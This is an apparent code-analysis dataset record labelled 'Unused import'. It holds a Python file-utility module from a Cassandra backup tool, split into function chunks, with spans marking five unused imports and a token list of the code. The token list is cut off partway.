Unused import | amorton/cassback/cassback/file_util.py | [
{
"content": "\"\"\"Utilities for working with files.\"\"\"\n\nimport datetime\nimport errno\nimport logging\nimport grp\nimport os\nimport os.path\nimport pwd\nimport re\nimport shutil\nimport socket\nimport stat as stat_fn\nimport tempfile\nimport time\n\nimport boto.utils\n\nlog = logging.getLogger(__name__)\n\n\n\n\n\n\n\n\n# ============================================================================\n# Manages a stable hard link reference to a file\n\n \n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def file_size(file_path):\n \"\"\"Returns the byte size of a file at ``file_path``.\n \"\"\"\n \n stat = os.stat(file_path)\n assert stat_fn.S_ISDIR(stat.st_mode) == False\n return stat.st_size",
"metadata": "root.file_size",
"header": "['module', '___EOS___']",
"index": 21
},
{
"content": "def file_md5(file_path):\n \"\"\"Returns a string Hex md5 digest for the file at ``file_path``.\"\"\"\n log.debug(\"Calculating md5 for %s\", file_path)\n start_ms = time.time() * 10**3\n fp = open(file_path, 'rb')\n try:\n # returns tuple (md5_hex, md5_base64, size)\n md5, _, _ = boto.utils.compute_md5(fp)\n finally:\n fp.close()\n duration_ms = (time.time() * 10**3) - start_ms\n log.debug(\"Calculated hash %s for %s in %s ms\", md5, file_path, \n duration_ms)\n return md5",
"metadata": "root.file_md5",
"header": "['module', '___EOS___']",
"index": 29
},
{
"content": "def ensure_dir(path):\n \"\"\"Ensure the directories for ``path`` exist. \n \"\"\"\n\n \n try:\n os.makedirs(path)\n except (EnvironmentError) as e:\n if not(e.errno == errno.EEXIST and \n e.filename == path):\n raise\n return",
"metadata": "root.ensure_dir",
"header": "['module', '___EOS___']",
"index": 44
},
{
"content": "def maybe_remove_dirs(path):\n \"\"\"Like :func:`os.removedirs` but ignores the error if the directory \n is not empty. \n \"\"\"\n\n try:\n os.removedirs(path)\n except (EnvironmentError) as e:\n if e.errno != errno.ENOTEMPTY:\n raise\n return",
"metadata": "root.maybe_remove_dirs",
"header": "['module', '___EOS___']",
"index": 57
},
{
"content": "def human_disk_bytes(bytes):\n \"\"\"Format the ``bytes`` as a human readable value.\n \"\"\"\n patterns = [\n (1024.0 ** 3, \"G\"),\n (1024.0 ** 2, \"M\"),\n (1024.0, \"K\")\n ]\n for scale, label in patterns:\n if bytes >= scale:\n return \"{i:.1f}{label}\".format(i=(bytes/scale), label=label)\n return \"%sB\" % (bytes,)",
"metadata": "root.human_disk_bytes",
"header": "['module', '___EOS___']",
"index": 69
},
{
"content": "class FileReferenceContext(object):\n log = logging.getLogger(\"%s.%s\" % (__name__, \"FileReferenceContext\"))\n \n \n \n \n ",
"metadata": "root.FileReferenceContext",
"header": "['module', '___EOS___']",
"index": 86
},
{
"content": " def __init__(self, source_path):\n \"\"\"Creates a temporary hard link for the file at \n ``source_path``.\n \n The link is created when the context is entered and destroyed when \n it is left. You can also call the ``link`` and ``close`` functions \n to achieve the same result. \n \n The full path of the ``source_path`` is re-created under a temporary \n directory so that we can parse the path name for information.\n \"\"\"\n \n self._source_path = source_path\n self._stable_dir = None\n self.stable_path = None\n self.ignore_next_exit = False",
"metadata": "root.FileReferenceContext.__init__",
"header": "['class', 'FileReferenceContext', '(', 'object', ')', ':', '___EOS___']",
"index": 89
},
{
"content": " def link(self):\n \"\"\"Generates the stable link and returns it.\n \n If the link could not be generated because the source file was not \n found ``None`` is returned. \n \n Call ``close`` to delete the link.\"\"\"\n \n self.__enter__()\n return self.stable_path",
"metadata": "root.FileReferenceContext.link",
"header": "['class', 'FileReferenceContext', '(', 'object', ')', ':', '___EOS___']",
"index": 106
},
{
"content": " def close(self):\n \"\"\"Deletes the stable link.\"\"\"\n \n self.__exit__(None, None, None)\n return",
"metadata": "root.FileReferenceContext.close",
"header": "['class', 'FileReferenceContext', '(', 'object', ')', ':', '___EOS___']",
"index": 117
},
{
"content": " def __enter__(self):\n \"\"\"Enters the context and returns self if the link could be created. \n \n If the link could not be created because the source path did not \n exist ``None`` is returned.\n \"\"\"\n if self.stable_path:\n return self.stable_path\n \n _, file_name = os.path.split(self._source_path)\n stable_dir = tempfile.mkdtemp(prefix=\"%s-\" % file_name)\n assert self._source_path.startswith(\"/\")\n stable_path = os.path.join(stable_dir, self._source_path[1:])\n \n self.log.debug(\"Linking %s to point to %s\", stable_path, \n self._source_path)\n ensure_dir(os.path.dirname(stable_path))\n try:\n os.link(self._source_path, stable_path)\n except (EnvironmentError) as e:\n if e.errno == errno.ENOENT:\n return None\n raise\n \n self._stable_dir = stable_dir\n self.stable_path = stable_path\n return self",
"metadata": "root.FileReferenceContext.__enter__",
"header": "['class', 'FileReferenceContext', '(', 'object', ')', ':', '___EOS___']",
"index": 123
},
{
"content": " def __exit__(self, exc_type, exc_val, exc_tb):\n \n if self.ignore_next_exit:\n self.ignore_next_exit = False\n return False\n \n if self._stable_dir:\n self.log.debug(\"Deleting temp dir for link %s\", self.stable_path)\n shutil.rmtree(self._stable_dir)\n self._stable_dir = None\n self.stable_path = None \n return False",
"metadata": "root.FileReferenceContext.__exit__",
"header": "['class', 'FileReferenceContext', '(', 'object', ')', ':', '___EOS___']",
"index": 151
}
]
| [
{
"span": "import datetime",
"start_line": 2,
"start_column": 0,
"end_line": 2,
"end_column": 15
},
{
"span": "import grp",
"start_line": 5,
"start_column": 0,
"end_line": 5,
"end_column": 10
},
{
"span": "import pwd",
"start_line": 8,
"start_column": 0,
"end_line": 8,
"end_column": 10
},
{
"span": "import re",
"start_line": 9,
"start_column": 0,
"end_line": 9,
"end_column": 9
},
{
"span": "import socket",
"start_line": 11,
"start_column": 0,
"end_line": 11,
"end_column": 13
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\"\"\"",
"Utili",
"ties",
" ",
"for",
" ",
"working",
" ",
"with",
" ",
"files",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"datetime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"errno_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"logging_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"grp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"._",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"pwd_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"re_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"shutil_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"socket_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"stat_",
"as_",
"stat",
"\\u",
"fn_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"tempfile_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"boto_",
"._",
"utils_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"log_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\\u\\u",
"name\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"==============",
"==============",
"==============",
"==============",
"==============",
"=====",
"=_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Manage",
"s",
" ",
"a",
" ",
"stable",
" ",
"hard",
" ",
"link",
" ",
"reference",
" ",
"to",
" ",
"a",
" ",
"file_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"file",
"\\u",
"size_",
"(_",
"file",
"\\u",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Return",
"s",
" ",
"the",
" ",
"byte",
" ",
"size",
" ",
"of",
" ",
"a",
" ",
"file",
" ",
"at",
" ",
"``",
"file",
"\\u",
"path",
"``.",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"stat_",
"=_",
"os_",
"._",
"stat_",
"(_",
"file",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"stat",
"\\u",
"fn_",
"._",
"S",
"\\u",
"IS",
"DIR_",
"(_",
"stat_",
"._",
"st",
"\\u",
"mode_",
")_",
"==_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"stat_",
"._",
"st",
"\\u",
"size_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"file",
"\\u",
"md5_",
"(_",
"file",
"\\u",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Return",
"s",
" ",
"a",
" ",
"string",
" ",
"Hex",
" ",
"md5",
" ",
"digest",
" ",
"for",
" ",
"the",
" ",
"file",
" ",
"at",
" ",
"``",
"file",
"\\u",
"path",
"``.",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log_",
"._",
"debug_",
"(_",
"\"",
"Calculating",
" ",
"md5",
" ",
"for",
" ",
"%",
"s",
"\"_",
",_",
"file",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"start",
"\\u",
"ms_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"*_",
"10_",
"**_",
"3_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fp_",
"=_",
"open_",
"(_",
"file",
"\\u",
"path_",
",_",
"'",
"rb",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"return",
"s",
" ",
"tuple",
" ",
"(",
"md5",
"\\u",
"hex",
",",
" ",
"md5",
"\\u",
"base64",
",",
" ",
"size",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"md5_",
",_",
"\\u_",
",_",
"\\u_",
"=_",
"boto_",
"._",
"utils_",
"._",
"compute",
"\\u",
"md5_",
"(_",
"fp_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"finally_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"fp_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"duration",
"\\u",
"ms_",
"=_",
"(_",
"time_",
"._",
"time_",
"(_",
")_",
"*_",
"10_",
"**_",
"3_",
")_",
"-_",
"start",
"\\u",
"ms_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log_",
"._",
"debug_",
"(_",
"\"",
"Calculat",
"ed",
" ",
"hash",
" ",
"%",
"s",
" ",
"for",
" ",
"%",
"s",
" ",
"in",
" ",
"%",
"s",
" ",
"ms",
"\"_",
",_",
"md5_",
",_",
"file",
"\\u",
"path_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"duration",
"\\u",
"ms_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"md5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"ensure",
"\\u",
"dir_",
"(_",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Ensur",
"e",
" ",
"the",
" ",
"director",
"ies",
" ",
"for",
" ",
"``",
"path",
"``",
" ",
"exist",
".",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"makedirs_",
"(_",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"(_",
"Environ",
"ment",
"Error_",
")_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"(_",
"e_",
"._",
"errno_",
"==_",
"errno_",
"._",
"EE",
"XIST",
"_",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"e_",
"._",
"filename_",
"==_",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"may",
"be",
"\\u",
"remove",
"\\u",
"dirs_",
"(_",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Lik",
"e",
" ",
":",
"func",
":`",
"os",
".",
"remove",
"dirs",
"`",
" ",
"but",
" ",
"ignores",
" ",
"the",
" ",
"error",
" ",
"if",
" ",
"the",
" ",
"director",
"y",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"is",
" ",
"not",
" ",
"empty",
".",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"remove",
"dirs_",
"(_",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"(_",
"Environ",
"ment",
"Error_",
")_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"e_",
"._",
"errno_",
"!=_",
"errno_",
"._",
"ENO",
"TEMP",
"TY_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"human",
"\\u",
"disk",
"\\u",
"bytes_",
"(_",
"bytes_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Format",
" ",
"the",
" ",
"``",
"bytes",
"``",
" ",
"as",
" ",
"a",
" ",
"human",
" ",
"reada",
"ble",
" ",
"value",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"patterns_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"1024.",
"0_",
"**_",
"3_",
",_",
"\"",
"G",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"1024.",
"0_",
"**_",
"2_",
",_",
"\"",
"M",
"\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"1024.",
"0_",
",_",
"\"",
"K",
"\"_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"scale_",
",_",
"label_",
"in_",
"patterns_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"bytes_",
">=_",
"scale_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"{",
"i",
":.",
"1f",
"}{",
"label",
"}\"_",
"._",
"format_",
"(_",
"i_",
"=_",
"(_",
"bytes_",
"/_",
"scale_",
")_",
",_",
"label_",
"=_",
"label_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"\"%",
"s",
"B",
"\"_",
"%_",
"(_",
"bytes_",
",_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"File",
"Reference",
"Context_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"log_",
"=_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\"%",
"s",
".",
"%",
"s",
"\"_",
"%_",
"(_",
"\\u\\u",
"name\\u\\u_",
",_",
"\"",
"File",
"Reference",
"Context",
"\"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"File",
"Reference",
"Context_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"source",
"\\u",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Creat",
"es",
" ",
"a",
" ",
"temporar",
"y",
" ",
"hard",
" ",
"link",
" ",
"for",
" ",
"the",
" ",
"file",
" ",
"at",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"``",
"source",
"\\u",
"path",
"``.",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"The",
" ",
"link",
" ",
"is",
" ",
"created",
" ",
"whe",
"n",
" ",
"the",
" ",
"context",
" ",
"is",
" ",
"enter",
"ed",
" ",
"and",
" ",
"destroy",
"ed",
" ",
"whe",
"n",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"it",
" ",
"is",
" ",
"left",
".",
" ",
"You",
" ",
"can",
" ",
"als",
"o",
" ",
"call",
" ",
"the",
" ",
"``",
"link",
"``",
" ",
"and",
" ",
"``",
"close",
"``",
" ",
"function",
"s",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"to",
" ",
"achieve",
" ",
"the",
" ",
"same",
" ",
"result",
".",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"The",
" ",
"full",
" ",
"path",
" ",
"of",
" ",
"the",
" ",
"``",
"source",
"\\u",
"path",
"``",
" ",
"is",
" ",
"re",
"-",
"created",
" ",
"under",
" ",
"a",
" ",
"temporar",
"y",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"director",
"y",
" ",
"so",
" ",
"tha",
"t",
" ",
"we",
" ",
"can",
" ",
"parse",
" ",
"the",
" ",
"path",
" ",
"name",
" ",
"for",
" ",
"informati",
"on",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"source",
"\\u",
"path_",
"=_",
"source",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"stable",
"\\u",
"dir_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"stable",
"\\u",
"path_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"ignore",
"\\u",
"next",
"\\u",
"exit_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"File",
"Reference",
"Context_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"link_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Generate",
"s",
" ",
"the",
" ",
"stable",
" ",
"link",
" ",
"and",
" ",
"return",
"s",
" ",
"it",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"If",
" ",
"the",
" ",
"link",
" ",
"coul",
"d",
" ",
"not",
" ",
"be",
" ",
"generat",
"ed",
" ",
"bec",
"aus",
"e",
" ",
"the",
" ",
"source",
" ",
"file",
" ",
"was",
" ",
"not",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"found",
" ",
"``",
"Non",
"e",
"``",
" ",
"is",
" ",
"return",
"ed",
".",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Call",
" ",
"``",
"close",
"``",
" ",
"to",
" ",
"delete",
" ",
"the",
" ",
"link",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"enter\\u\\u_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"stable",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"File",
"Reference",
"Context_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"close_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Delete",
"s",
" ",
"the",
" ",
"stable",
" ",
"link",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"exit\\u\\u_",
"(_",
"None_",
",_",
"None_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"File",
"Reference",
"Context_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"enter\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Enter",
"s",
" ",
"the",
" ",
"context",
" ",
"and",
" ",
"return",
"s",
" ",
"self",
" ",
"if",
" ",
"the",
" ",
"link",
" ",
"coul",
"d",
" ",
"be",
" ",
"created",
".",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"If",
" ",
"the",
" ",
"link",
" ",
"coul",
"d",
" ",
"not",
" ",
"be",
" ",
"created",
" ",
"bec",
"aus",
"e",
" ",
"the",
" ",
"source",
" ",
"path",
" ",
"did",
" ",
"not",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"exist",
" ",
"``",
"Non",
"e",
"``",
" ",
"is",
" ",
"return",
"ed",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"stable",
"\\u",
"path_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"stable",
"\\u",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u_",
",_",
"file",
"\\u",
"name_",
"=_",
"os_",
"._",
"path_",
"._",
"split_",
"(_",
"self_",
"._",
"\\u",
"source",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stable",
"\\u",
"dir_",
"=_",
"tempfile_",
"._",
"mkdtemp_",
"(_",
"prefix_",
"=_",
"\"%",
"s",
"-\"_",
"%_",
"file",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"self_",
"._",
"\\u",
"source",
"\\u",
"path_",
"._",
"startswith_",
"(_",
"\"/\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stable",
"\\u",
"path_",
"=_",
"os_",
"._",
"path_",
"._",
"join_",
"(_",
"stable",
"\\u",
"dir_",
",_",
"self_",
"._",
"\\u",
"source",
"\\u",
"path_",
"[_",
"1_",
":_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"log_",
"._",
"debug_",
"(_",
"\"",
"Link",
"ing",
" ",
"%",
"s",
" ",
"to",
" ",
"point",
" ",
"to",
" ",
"%",
"s",
"\"_",
",_",
"stable",
"\\u",
"path_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"source",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ensure",
"\\u",
"dir_",
"(_",
"os_",
"._",
"path_",
"._",
"dirname_",
"(_",
"stable",
"\\u",
"path_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"link_",
"(_",
"self_",
"._",
"\\u",
"source",
"\\u",
"path_",
",_",
"stable",
"\\u",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"(_",
"Environ",
"ment",
"Error_",
")_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"e_",
"._",
"errno_",
"==_",
"errno_",
"._",
"ENOENT_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"raise_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
